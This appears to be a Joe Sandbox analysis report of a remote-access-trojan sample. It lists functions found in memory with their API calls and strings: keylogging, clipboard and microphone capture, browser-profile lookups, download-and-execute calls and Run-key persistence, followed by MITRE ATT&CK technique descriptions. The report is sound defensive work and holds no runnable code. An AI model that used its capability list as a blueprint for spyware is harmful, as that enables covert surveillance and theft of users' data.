Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ByteCharErrorLastMultiWide
String ID: PkGNG
API String ID: 203985260-263838557
Opcode ID: 8762d6c9eb8cd6bb849928aa97b0b7335ecf1b8cbe6ccd937ce160abea437523
Instruction ID: 5218313022fb824330162c1b3e1e252a07855a0508c927524b2412b0d5c8e50b
Opcode Fuzzy Hash: 8762d6c9eb8cd6bb849928aa97b0b7335ecf1b8cbe6ccd937ce160abea437523
Instruction Fuzzy Hash: A531F831600205EBEB21EF56C845BAB77A8DF55711F24416BF9048B3D1DB38CD41E7A9

Function 0040B748 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMON

Download Yara Rule

APIs

Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776

__Init_thread_footer.LIBCMT ref: 0040B797

Strings

[End of clipboard], xrefs: 0040B7D9
[Text copied to clipboard], xrefs: 0040B7E6

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Init_thread_footer__onexit
String ID: [End of clipboard]$[Text copied to clipboard]
API String ID: 1881088180-3686566968
Opcode ID: 60402113f4b18a007ad5d9fa0adee8409e9b11ca3b01e04d5642538178529adf
Instruction ID: c7bebb0a0a15900a9cc4ffb6e17528162536323bfdf0e6139bd55c50ddf57f74
Opcode Fuzzy Hash: 60402113f4b18a007ad5d9fa0adee8409e9b11ca3b01e04d5642538178529adf
Instruction Fuzzy Hash: C0219F32A101054ACB14FB66D8829EDB379AF90318F10453FE505731E2EF386D4A8A9C

Function 00451B37 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 88COMMONLIBRARYCODE

Download Yara Rule

APIs

GetACP.KERNEL32(?,20001004,?,00000002,00000000,00000050,00000050,?,00451D92,?,00000050,?,?,?,?,?), ref: 00451C12

Strings

ACP, xrefs: 00451B55
OCP, xrefs: 00451B8B

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID:
String ID: ACP$OCP
API String ID: 0-711371036
Opcode ID: 9e0df5bdb224d2be14a0cd5949da06f0ee57b11af7c7271d7bdd2cdd18eeb32c
Instruction ID: fc24b39bc158c677debbea649066bee6e1bba6d32f28379ebc1c8ba741b2d3ba
Opcode Fuzzy Hash: 9e0df5bdb224d2be14a0cd5949da06f0ee57b11af7c7271d7bdd2cdd18eeb32c
Instruction Fuzzy Hash: BA217D22A4010063DB34CF54C940B9B326ADF50B27F568166ED09C7322F73AED44C39C

Function 0044B731 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 0044B7DB
GetLastError.KERNEL32 ref: 0044B804

Strings

PkGNG, xrefs: 0044B733

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ErrorFileLastWrite
String ID: PkGNG
API String ID: 442123175-263838557
Opcode ID: e2af8d231f6539d56f2593d6ace3ed0d4bab48f660b2d85d051dab4aa689f9d2
Instruction ID: 56933c973e2243a1a9a6e47b5ff38ff3048756f5123006952a384074424e161b
Opcode Fuzzy Hash: e2af8d231f6539d56f2593d6ace3ed0d4bab48f660b2d85d051dab4aa689f9d2
Instruction Fuzzy Hash: 12319331A00619DBCB24CF59CD809DAB3F9EF88311F1445AAE509D7361D734ED81CB68

Function 0044B652 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 0044B6ED
GetLastError.KERNEL32 ref: 0044B716

Strings

PkGNG, xrefs: 0044B654

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ErrorFileLastWrite
String ID: PkGNG
API String ID: 442123175-263838557
Opcode ID: 51546446b41bf805027a94335c0e64e4fe702750584376849c5da3291fd64da6
Instruction ID: 12ef57d8ab414bd2a6c5914f5c8b73f84ca543b1ee1fc2f1adbb6bb6aefc8993
Opcode Fuzzy Hash: 51546446b41bf805027a94335c0e64e4fe702750584376849c5da3291fd64da6
Instruction Fuzzy Hash: 6C21B435600219DFCB14CF69C980BE9B3F8EB48302F1044AAE94AD7351D734ED81CB64

Function 00404FF4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,00475598,?,00000000,?,?,?,?,?,?,00415CC9,?,00000001,0000004C,00000000), ref: 00405030

Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509

GetLocalTime.KERNEL32(?,00475598,?,00000000,?,?,?,?,?,?,00415CC9,?,00000001,0000004C,00000000), ref: 00405087

Strings

KeepAlive | Enabled | Timeout: , xrefs: 0040501F

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: LocalTime
String ID: KeepAlive | Enabled | Timeout:
API String ID: 481472006-1507639952
Opcode ID: 2607bdc9f0d933924e59b09d9b4d17e10e2c88dcc52cf24d6e3d3c5d02c0a6dc
Instruction ID: 59903f388a44bacb81d563bcbf5ab321eb0051b597eccb46fab67989b44e7fd4
Opcode Fuzzy Hash: 2607bdc9f0d933924e59b09d9b4d17e10e2c88dcc52cf24d6e3d3c5d02c0a6dc
Instruction Fuzzy Hash: 1D21F2719046405BD710B7259C0676F7B64E751308F40087EE8491B2A6DA7D5A88CBEF

Function 0041663B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62sleepfilenetworkCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 00416640
URLDownloadToFileW.URLMON(00000000,00000000,00000002,00000000,00000000), ref: 004166A2

Strings

!D@, xrefs: 00417089

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: DownloadFileSleep
String ID: !D@
API String ID: 1931167962-604454484
Opcode ID: 1ee2299181c43429df041adb64fff50d3160e985c7a9a19c3789c6205816a6ff
Instruction ID: f21b004d79e7af0ef9ad63e4b6518ad07bb10e0138b316cec4f8e9f86784bb19
Opcode Fuzzy Hash: 1ee2299181c43429df041adb64fff50d3160e985c7a9a19c3789c6205816a6ff
Instruction Fuzzy Hash: C6115171A083029AC714FF72D8969BE77A8AF54348F400C3FF546621E2EE3C9949C65A

Function 0041AD17 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

PathFileExistsW.SHLWAPI(00000000), ref: 0041AD3C

Strings

alarm.wav, xrefs: 0041AD27
hYG, xrefs: 0041AD46

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ExistsFilePath
String ID: alarm.wav$hYG
API String ID: 1174141254-2782910960
Opcode ID: a80849807d39b6d885b850496f76bbee22079f6d4cd25328039c8df50d7c6aa3
Instruction ID: 1ebdaa4a32a078914063a8122a991a3a49773bb3edac1861de613ef54c78e1f6
Opcode Fuzzy Hash: a80849807d39b6d885b850496f76bbee22079f6d4cd25328039c8df50d7c6aa3
Instruction Fuzzy Hash: 7A01F5B064460156C604F37698167EE37464B80319F00447FF68A266E2EFBC9D99C68F

Function 0040B051 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 0040B164: GetLocalTime.KERNEL32(?,Offline Keylogger Started,004750F0), ref: 0040B172
Part of subcall function 0040B164: wsprintfW.USER32 ref: 0040B1F3

Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509

CloseHandle.KERNEL32(?), ref: 0040B0B4
UnhookWindowsHookEx.USER32 ref: 0040B0C7

Strings

Online Keylogger Stopped, xrefs: 0040B061, 0040B069, 0040B090

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: LocalTime$CloseHandleHookUnhookWindowswsprintf
String ID: Online Keylogger Stopped
API String ID: 1623830855-1496645233
Opcode ID: bcbfeeedac202dcce5c27b8ae7271b8f67804fce0d04219dcea429481c7fcc84
Instruction ID: 2e372e3e3892c4e8816e9c8053feed756abc81e7e35a03d4dadb391bbfa0e77d
Opcode Fuzzy Hash: bcbfeeedac202dcce5c27b8ae7271b8f67804fce0d04219dcea429481c7fcc84
Instruction Fuzzy Hash: 0101F5306002049BD7217B35C80B3BF7BA59B41305F40007FE642226D2EBB91845D7DE

Function 004017EC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

waveInPrepareHeader.WINMM(?,00000020,?), ref: 00401849
waveInAddBuffer.WINMM(?,00000020), ref: 0040185F

Strings

XMG, xrefs: 004017F8

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: wave$BufferHeaderPrepare
String ID: XMG
API String ID: 2315374483-813777761
Opcode ID: db4cc151110a5f9a71eb5ce2d7546914e9eb517e880c4322ad0588f055fadbe6
Instruction ID: 6f1d19605e244f5f119b09d66236675289974365e05be472c2159163c6862827
Opcode Fuzzy Hash: db4cc151110a5f9a71eb5ce2d7546914e9eb517e880c4322ad0588f055fadbe6
Instruction Fuzzy Hash: D3016D71700301AFD7209F75EC48969BBA9FB89355701413AF409D3762EB759C90CBA8

Function 00448AE6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMONLIBRARYCODE

Download Yara Rule

APIs

IsValidLocale.KERNEL32(00000000,JD,00000000,00000001,?,?,00444AEA,?,?,004444CA,?,00000004), ref: 00448B32

Strings

JD, xrefs: 00448B29, 00448B16
IsValidLocaleName, xrefs: 00448AF7, 00448B01

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: LocaleValid
String ID: IsValidLocaleName$JD
API String ID: 1901932003-2234456777
Opcode ID: 51bc9a782de688291f39784aabc01e809a53b6defb3ea5057969789d83f50679
Instruction ID: c43517d2c5aad0833927174c53c021eab8a1ac695cd7bc198788f3b2bcf9e263
Opcode Fuzzy Hash: 51bc9a782de688291f39784aabc01e809a53b6defb3ea5057969789d83f50679
Instruction Fuzzy Hash: D6F05230A80308F7DB106B60DC06FAEBF58CB04B52F10017EFD046B291CE786E05929E

Function 0040C4C3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

PathFileExistsW.SHLWAPI(00000000), ref: 0040C4F6

Strings

\AppData\Local\Google\Chrome\, xrefs: 0040C4E0
UserProfile, xrefs: 0040C4CA

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ExistsFilePath
String ID: UserProfile$\AppData\Local\Google\Chrome\
API String ID: 1174141254-4188645398
Opcode ID: 333e2781ec0ec89fbd88f6f0735ff55aec90b53b609e1a946a8fd7ce7860d637
Instruction ID: 529cceb54bdbac8586af3e6ebd5273a77adcdcd577382419881006e182ae29c8
Opcode Fuzzy Hash: 333e2781ec0ec89fbd88f6f0735ff55aec90b53b609e1a946a8fd7ce7860d637
Instruction Fuzzy Hash: 96F05E31A00219A6C604BBF69C478BF7B3C9D50709B50017FBA01B61D3EE789945C6EE

Function 0040C526 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

PathFileExistsW.SHLWAPI(00000000), ref: 0040C559

Strings

\AppData\Local\Microsoft\Edge\, xrefs: 0040C543
UserProfile, xrefs: 0040C52D

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ExistsFilePath
String ID: UserProfile$\AppData\Local\Microsoft\Edge\
API String ID: 1174141254-2800177040
Opcode ID: 46641891947e03d640cd62480cc1169afb97d1bf2d9271bf70253981d5b275da
Instruction ID: 330371ab8f71d6844e3501a7b0875f3b866c8fe31c1dcac5d822fe972055fe7f
Opcode Fuzzy Hash: 46641891947e03d640cd62480cc1169afb97d1bf2d9271bf70253981d5b275da
Instruction Fuzzy Hash: ECF05E31A00219A6CA14B7B69C47CEF7B6C9D50705B10017FB602B61D2EE78994186EE

Function 0040C589 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

PathFileExistsW.SHLWAPI(00000000), ref: 0040C5BC

Strings

AppData, xrefs: 0040C590
\Opera Software\Opera Stable\, xrefs: 0040C5A6

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ExistsFilePath
String ID: AppData$\Opera Software\Opera Stable\
API String ID: 1174141254-1629609700
Opcode ID: 776327d6e5661bbd5273f74550199b0ae7763d34e3e9ac4bd8830f7a720e7153
Instruction ID: 49b076bb86b4c8db4da1bdedad10e463925805c403c57d636a3174f469f12df7
Opcode Fuzzy Hash: 776327d6e5661bbd5273f74550199b0ae7763d34e3e9ac4bd8830f7a720e7153
Instruction Fuzzy Hash: 13F05E31A00319A6CA14B7B69C47CEF7B7C9D10709B40017BB601B61D2EE789D4586EA

Function 0040B646 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 32keyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32(00000011), ref: 0040B64B

Part of subcall function 0040A3E0: GetForegroundWindow.USER32 ref: 0040A416
Part of subcall function 0040A3E0: GetWindowThreadProcessId.USER32(00000000,?), ref: 0040A422
Part of subcall function 0040A3E0: GetKeyboardLayout.USER32 ref: 0040A429
Part of subcall function 0040A3E0: GetKeyState.USER32(00000010), ref: 0040A433
Part of subcall function 0040A3E0: GetKeyboardState.USER32(?), ref: 0040A43E
Part of subcall function 0040A3E0: ToUnicodeEx.USER32 ref: 0040A461
Part of subcall function 0040A3E0: ToUnicodeEx.USER32 ref: 0040A4C1

Part of subcall function 0040A636: SetEvent.KERNEL32(?,?,00000000,0040B20A,00000000), ref: 0040A662

Strings

[AltR], xrefs: 0040B681
[AltL], xrefs: 0040B68D

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: State$KeyboardUnicodeWindow$EventForegroundLayoutProcessThread
String ID: [AltL]$[AltR]
API String ID: 2738857842-2658077756
Opcode ID: 7258a7f4b132cbc40b361f8d5efa273a6a49595113cd8e0a5555153196a7725b
Instruction ID: e48b288e44f9d4c6b211653e2fe3bcc76c2b66b59b43e84e4aaf588e4500f4a3
Opcode Fuzzy Hash: 7258a7f4b132cbc40b361f8d5efa273a6a49595113cd8e0a5555153196a7725b
Instruction Fuzzy Hash: 3BE0652134021052C828323E592F6BE2D51C742754B86057FF9826B6C5DABF4D1542CF

Function 0044ECEC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMON

Download Yara Rule

APIs

GetOEMCP.KERNEL32(00000000,?,?,0044EF75,?), ref: 0044ED17
GetACP.KERNEL32(00000000,?,?,0044EF75,?), ref: 0044ED2E

Strings

uD, xrefs: 0044ED05

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID:
String ID: uD
API String ID: 0-2547262877
Opcode ID: b77d3b663c6aed767531e5de151c2f7480185761a2f62c70c64f4560ad89233a
Instruction ID: 19c10458df6b4aed5d20bc802b22671fd2b069e30d3a1616a3713fc20edc201d
Opcode Fuzzy Hash: b77d3b663c6aed767531e5de151c2f7480185761a2f62c70c64f4560ad89233a
Instruction Fuzzy Hash: A5F0C871800105CBEB20DB55DC897697771BF11335F144755E4394A6E2C7B98C81CF49

Function 00448957 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000,0043AAB7), ref: 00448996

Strings

PkGNG, xrefs: 00448959
GetSystemTimePreciseAsFileTime, xrefs: 00448972

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Time$FileSystem
String ID: GetSystemTimePreciseAsFileTime$PkGNG
API String ID: 2086374402-949981407
Opcode ID: e85234dd122f09b0c94e77719a40fbeea2143a0bc5736c6b14345478c49c6815
Instruction ID: 0ece642104574987c61f359f6ab52f67772cb5eafdc88f944851b8b866d171c2
Opcode Fuzzy Hash: e85234dd122f09b0c94e77719a40fbeea2143a0bc5736c6b14345478c49c6815
Instruction Fuzzy Hash: 55E0E571A41718E7D710AB259C02E7EBB54DB44B02B10027EFC0957382DE285D0496DE

Function 0041618A Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000000), ref: 004161A8

Strings

!D@, xrefs: 00417089
open, xrefs: 004161A2

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ExecuteShell
String ID: !D@$open
API String ID: 587946157-1586967515
Opcode ID: a3fafa264baa1d62442d83e0179a885528cd25db469b1c0675910708919d2975
Instruction ID: 73504a7432a82bf20c2cd712858cac99996ed9f8eaf32da6c0f13d1c3fa6c831
Opcode Fuzzy Hash: a3fafa264baa1d62442d83e0179a885528cd25db469b1c0675910708919d2975
Instruction Fuzzy Hash: 2FE0ED712483059AD614EA72DC91AFE7358AB54755F40083FF506514E2EE3C5849C65A

Function 0045554B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMONLIBRARYCODE

Download Yara Rule

APIs

___initconout.LIBCMT ref: 0045555B

Part of subcall function 00456B1D: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000), ref: 00456B30

WriteConsoleW.KERNEL32 ref: 0045557E

Strings

PkGNG, xrefs: 0045554D

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ConsoleCreateFileWrite___initconout
String ID: PkGNG
API String ID: 3087715906-263838557
Opcode ID: 4fd586c33a7e536def3848490aff3c82696797501ee569242fdde9145b290049
Instruction ID: e84ccb038854987deafcb7b601af55b429ad8f27f18c1f17be9b2782bd97289a
Opcode Fuzzy Hash: 4fd586c33a7e536def3848490aff3c82696797501ee569242fdde9145b290049
Instruction Fuzzy Hash: 10E02B70500508BBD610CB64DC25EB63319EB003B1F600315FE25C72D1EB34DD44C759

Function 0040B6A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24keyboardCOMMON

Download Yara Rule

APIs

GetKeyState.USER32(00000012), ref: 0040B6A5

Strings

[CtrlL], xrefs: 0040B6D3
[CtrlR], xrefs: 0040B6C2

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: State
String ID: [CtrlL]$[CtrlR]
API String ID: 1649606143-2446555240
Opcode ID: 9c7a87a125a36fd6875230b5c06d2f1de547b3d92bb8a42f9d283a23a60e093e
Instruction ID: bec5627f59812d2efb235ad4bfa8f6d19d2d97b3e0140e65676d9d4505e8418d
Opcode Fuzzy Hash: 9c7a87a125a36fd6875230b5c06d2f1de547b3d92bb8a42f9d283a23a60e093e
Instruction Fuzzy Hash: 6FE04F2160021052C524363D5A1E67D2911CB52754B42096FF882A76CADEBF891543CF

Function 0040E79F Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 23COMMON

Download Yara Rule

APIs

Part of subcall function 00434770: __onexit.LIBCMT ref: 00434776

__Init_thread_footer.LIBCMT ref: 00410F29

Strings

0kG, xrefs: 00410F31
,kG, xrefs: 00410F04

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: Init_thread_footer__onexit
String ID: ,kG$0kG
API String ID: 1881088180-2015055088
Opcode ID: b05ab0c9b3baa3f524da702d8fc1cd1898caf97046da089980d037e9e657a158
Instruction ID: c595ded0a674a2b9ccc74dbc71d20adb946c68f5a758ea4f5ad5526f3cc50642
Opcode Fuzzy Hash: b05ab0c9b3baa3f524da702d8fc1cd1898caf97046da089980d037e9e657a158
Instruction Fuzzy Hash: 35E0D8312149208EC214A32995829C93791DB4E335B61412BF414D72D5CBAEB8C1CA1D

Function 00413A23 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 00413A31
RegDeleteValueW.ADVAPI32 ref: 00413A45

Strings

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\, xrefs: 00413A2F

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: DeleteOpenValue
String ID: Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\
API String ID: 2654517830-1051519024
Opcode ID: 37389d7ee51bec1c2129a7b253fd7a72f11d6a1cc032b6ab4e225ceb9c6d243b
Instruction ID: 6fb421a43559def270d35797bbb86f7c8bc210cd52a17bc53693ea6618a40a87
Opcode Fuzzy Hash: 37389d7ee51bec1c2129a7b253fd7a72f11d6a1cc032b6ab4e225ceb9c6d243b
Instruction Fuzzy Hash: 99E0C23124420CFBDF104F71DD06FFA376CDB01F42F1006A5BA0692091C626DF049668

Function 00440C91 Relevance: 5.1, APIs: 4, Instructions: 139COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,00000009,?,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,?,?,00000000,00401D55), ref: 00440D27
GetLastError.KERNEL32 ref: 00440D35
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00440D90

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1717984340-0
Opcode ID: a909a75f279edaa9992fcfd87f44a9f238bfc46e7277e37c8624290a99980dba
Instruction ID: f204e272a103731937cf510deb2d9f687334ef06d731906aa630a644c7418207
Opcode Fuzzy Hash: a909a75f279edaa9992fcfd87f44a9f238bfc46e7277e37c8624290a99980dba
Instruction Fuzzy Hash: BA411871A00206EFEF218FA5C8447AB7BA5EF45310F10816BFA549B3A1DB38AD25C759

Function 00411B5F Relevance: 5.1, APIs: 4, Instructions: 119COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000014,00000000,00000000,00000001,?,?,?,00411EF0), ref: 00411B8C
IsBadReadPtr.KERNEL32(?,00000014,00411EF0), ref: 00411C58
SetLastError.KERNEL32(0000007F), ref: 00411C7A
SetLastError.KERNEL32(0000007E,00411EF0), ref: 00411C91

Memory Dump Source

Source File: 00000019.00000002.484229663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_400000_AddInProcess32.jbxd

Yara matches

Similarity

API ID: ErrorLastRead
String ID:
API String ID: 4100373531-0
Opcode ID: 46f42941f51e653cdae40cd00269a703bf4e12df5cc4a1911c605fdb7767d4e6
Instruction ID: 277f4bdee2933866d2d1c697a3b04f0a6a13197b354a533a519a822f1f8833ca
Opcode Fuzzy Hash: 46f42941f51e653cdae40cd00269a703bf4e12df5cc4a1911c605fdb7767d4e6
Instruction Fuzzy Hash: 37419C75244305DFE7248F18DC84BA7B3E8FB48711F00082EEA8A87661F739E845CB99

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
